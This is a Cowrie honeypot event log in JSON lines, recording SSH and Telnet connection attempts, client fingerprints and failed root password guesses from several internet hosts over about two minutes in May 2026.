{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":59532,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c379205aeb3","protocol":"ssh","message":"New connection: 43.156.39.221:59532 (10.17.0.5:22) [session: 4c379205aeb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:14.881115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:14.886602Z","src_ip":"43.156.39.221","session":"4c379205aeb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:15.126519Z","src_ip":"43.156.39.221","session":"4c379205aeb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.997814416885376,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:15.489623Z","src_ip":"192.119.13.58","session":"0c2dd09795d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sac","message":"login attempt [root/sac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:16.112409Z","src_ip":"43.156.39.221","session":"4c379205aeb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:17.354961Z","src_ip":"43.156.39.221","session":"4c379205aeb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":28040,"dst_ip":"159.203.135.109","dst_port":22,"session":"735218d8cfc8","protocol":"ssh","message":"New connection: 38.93.206.2:28040 (159.203.135.109:22) [session: 735218d8cfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:18.030232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:18.034579Z","src_ip":"38.93.206.2","session":"735218d8cfc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:18.084884Z","src_ip":"38.93.206.2","session":"735218d8cfc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"austin","message":"login attempt [root/austin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:18.241628Z","src_ip":"38.93.206.2","session":"735218d8cfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.48479509353638,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:19.237763Z","src_ip":"192.119.13.58","session":"18fb49fd3a0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:19.295227Z","src_ip":"38.93.206.2","session":"735218d8cfc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":3002,"dst_ip":"10.17.0.5","dst_port":22,"session":"f24d9e3f9dce","protocol":"ssh","message":"New connection: 89.110.87.138:3002 (10.17.0.5:22) [session: f24d9e3f9dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:28.939561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:28.944046Z","src_ip":"89.110.87.138","session":"f24d9e3f9dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:29.058325Z","src_ip":"89.110.87.138","session":"f24d9e3f9dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"foobar","message":"login attempt [root/foobar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:29.547383Z","src_ip":"89.110.87.138","session":"f24d9e3f9dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":49802,"dst_ip":"159.203.135.109","dst_port":22,"session":"02f82d15e550","protocol":"ssh","message":"New connection: 103.122.221.179:49802 (159.203.135.109:22) [session: 02f82d15e550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:30.572012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:30.576840Z","src_ip":"103.122.221.179","session":"02f82d15e550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:30.664004Z","src_ip":"89.110.87.138","session":"f24d9e3f9dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:30.824836Z","src_ip":"103.122.221.179","session":"02f82d15e550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makaka","message":"login attempt [root/makaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:31.579981Z","src_ip":"103.122.221.179","session":"02f82d15e550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:32.830639Z","src_ip":"103.122.221.179","session":"02f82d15e550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.07122588157654,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:02:48.259565Z","src_ip":"192.119.13.58","session":"d34ab50045cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":50354,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb66d45e937a","protocol":"ssh","message":"New connection: 102.88.137.145:50354 (10.17.0.5:22) [session: eb66d45e937a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:07.675006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:07.681252Z","src_ip":"102.88.137.145","session":"eb66d45e937a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:07.861598Z","src_ip":"102.88.137.145","session":"eb66d45e937a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simon","message":"login attempt [root/simon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:08.612435Z","src_ip":"102.88.137.145","session":"eb66d45e937a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:09.795145Z","src_ip":"102.88.137.145","session":"eb66d45e937a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53976,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb15cff46c99","protocol":"telnet","message":"New connection: 192.119.13.58:53976 (10.17.0.5:23) [session: eb15cff46c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:17.377410Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38730,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4b0a9975474","protocol":"telnet","message":"New connection: 192.119.13.58:38730 (10.17.0.5:23) [session: a4b0a9975474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:22.002842Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45734,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba30c37086b","protocol":"telnet","message":"New connection: 192.119.13.58:45734 (10.17.0.5:23) [session: 2ba30c37086b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:25.222830Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51364,"dst_ip":"10.17.0.5","dst_port":23,"session":"86f98bc093f6","protocol":"telnet","message":"New connection: 192.119.13.58:51364 (10.17.0.5:23) [session: 86f98bc093f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:27.666661Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38060,"dst_ip":"10.17.0.5","dst_port":23,"session":"d87c80dd7bdf","protocol":"telnet","message":"New connection: 192.119.13.58:38060 (10.17.0.5:23) [session: d87c80dd7bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:33.659074Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41132,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cabaf1f7894","protocol":"telnet","message":"New connection: 192.119.13.58:41132 (10.17.0.5:23) [session: 9cabaf1f7894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:35.130067Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":39900,"dst_ip":"10.17.0.5","dst_port":22,"session":"f10a03ba55dd","protocol":"ssh","message":"New connection: 89.110.87.138:39900 (10.17.0.5:22) [session: f10a03ba55dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:37.412408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:37.417715Z","src_ip":"89.110.87.138","session":"f10a03ba55dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:37.538322Z","src_ip":"89.110.87.138","session":"f10a03ba55dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47350,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b2c36a722e3","protocol":"telnet","message":"New connection: 192.119.13.58:47350 (10.17.0.5:23) [session: 6b2c36a722e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:37.596171Z"}
{"eventid":"cowrie.session.closed","duration":0.004743814468383789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:37.600767Z","src_ip":"192.119.13.58","session":"6b2c36a722e3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"feifei","message":"login attempt [root/feifei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:38.042748Z","src_ip":"89.110.87.138","session":"f10a03ba55dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:39.163187Z","src_ip":"89.110.87.138","session":"f10a03ba55dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":57556,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea7e853373f","protocol":"ssh","message":"New connection: 43.156.39.221:57556 (10.17.0.5:22) [session: 1ea7e853373f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:44.020820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:44.025070Z","src_ip":"43.156.39.221","session":"1ea7e853373f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:44.263225Z","src_ip":"43.156.39.221","session":"1ea7e853373f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle","message":"login attempt [root/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:45.248326Z","src_ip":"43.156.39.221","session":"1ea7e853373f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:46.490588Z","src_ip":"43.156.39.221","session":"1ea7e853373f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":36046,"dst_ip":"10.17.0.5","dst_port":22,"session":"57bb4fee21cf","protocol":"ssh","message":"New connection: 89.223.69.22:36046 (10.17.0.5:22) [session: 57bb4fee21cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:53.156879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:53.161350Z","src_ip":"89.223.69.22","session":"57bb4fee21cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.90904259681702,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:57.911752Z","src_ip":"192.119.13.58","session":"a4b0a9975474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.976213693618774,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:58.353538Z","src_ip":"192.119.13.58","session":"eb15cff46c99","protocol":"telnet"}
